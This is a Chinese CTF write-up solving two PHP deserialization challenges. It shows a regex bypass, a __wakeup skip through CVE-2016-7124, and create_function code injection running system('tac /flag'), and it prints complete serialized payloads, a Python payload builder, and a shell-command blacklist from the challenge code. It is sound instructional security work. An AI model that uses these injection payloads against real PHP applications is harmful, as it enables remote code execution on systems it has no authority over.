给到两条例题
一、攻防世界
相关知识点:
1.CVE-2016-7124 PHP 针对 _wake up魔术方法的漏洞 2.序列化后的字符串,可以在数字前面添加 + 号,以绕过某些正则表达式的过滤
题目代码如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
php源码中给了提示://the secret is in the fl4g.php
似乎只需要让file的值为fl4g.php,然后触发function __destruct() {echo @highlight_file($this->file, true);这个函数即可
但是仔细看会发现,当我们试图反序列化,触发_wake up魔术方法时,file会被赋值为'index.php',因此,我们得出本题的第一个绕过点:如何绕过wakeup审查
再往下看,看到了一个正则:
if (preg_match('/[oc]:\d+:/i', $var))
显然这里匹配是为了防止直接输入类似o:4:开头的常见序列化结果,这里就是本题的第二个绕过点
不管怎么说,我们先把反序列化思路构建一下:
反序列化给file赋值为fl4g.php(正则绕过) -> 绕过wakeup魔术方法 -> 触发destruct方法得出flag

我们先**将php源码copy到自己的编辑器,在末尾添加实例化,赋值以及序列化函数
得到结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
这里我们开始绕过,首先是正则绕过,因为是直接匹配的数字,我们可以在4前加上+,整体含义不变但是绕过了正则: O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
接下来是对于wake up方法的绕过,这里需要引入一个 CVE-2016-7124 PHP 反序列化漏洞,其针对PHP 5.6.x(< 5.6.25)、PHP 7.0.x(< 7.0.10)等版本 该漏洞的核心问题在于在反序列化过程中,当对象的属性数量大于序列化字符串中声明的数量时,PHP 会跳过对 __wakeup() 魔术方法的调用。
因此我们将属性数量改为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
至此,题目的绕过就结束了,但是在转为base64之前还存在一个问题:因为$flie是一个 private属性,因此反序列化Demo和file之前存在一个不可见的空字符%00
那么就写个替换字符的脚本罢,顺便base64一起做了
# payload_exact_as_you_wrote.py
payload = (
b'O:+4:"Demo":2:{'
b's:10:"\x00Demo\x00file";'
b's:8:"fl4g.php";'
b'}'
)
import base64
print(base64.b64encode(payload).decode('ascii'))
至此,得出本题payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
二、unserialize-Noteasy - Bugku CTF平台
题目源码:
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
映入眼帘的就是Noteasy这个不简单的类名
在大体审完一遍代码后,发现貌似可以忽略掉_construct这个方法(根本没触发),因此,真正的触发点其实是在__destruct这个方法里
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
这里可以看到是把$a当作函数输出,第一个变量为空字节,第二个变量则是b 很奇怪,这该怎么输出flag呢,a究竟该怎么传参才能输出flag呢?
如果 $a 是 "system",那么就相当于执行 system("", $b) —— 但 system 只接受一个参数,所以这会报错。
但如果 $a 是一个函数对象或可调用变量(比如匿名函数、create_function 返回的函数),那就可以成功执行
这里需要引入一个本题最关键的漏洞,create_function漏洞,链接如下 PHP代码 之create_function()函数_create function-CSDN博客
借此我们得以梳理出大致的思路
采用create_function函数给a赋值,借助其函数内部类似于eval的效果读出flag
赋值如下:a = "\create_function";b = "}system('tac /flag');/*";
这里cat被过滤,改为tac即可
当执行:
$a = "\create_function";
$b = "}system('tac /flag');/*";
$a("", $b);
相当于
\create_function("", "}system('tac /flag');/*");
方法实现时可以理解为执行了
function lambda_1()
{
}system('tac /flag');/*
}
这里的$b第一个}与函数的{闭合,后续执行system('tac /flag');语句,/*注释掉最后一个}
这样,我们就得到了最后的payload

反序列化结果:
O:7:"Noteasy":2:{s:10:"Noteasya";s:16:"\create_function";s:10:"Noteasyb";s:23:"}system('tac /flag');/*";}
实际传参:
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A23%3A%22%7Dsystem%28%27tac+%2Fflag%27%29%3B%2F%2A%22%3B%7D

Comments NOTHING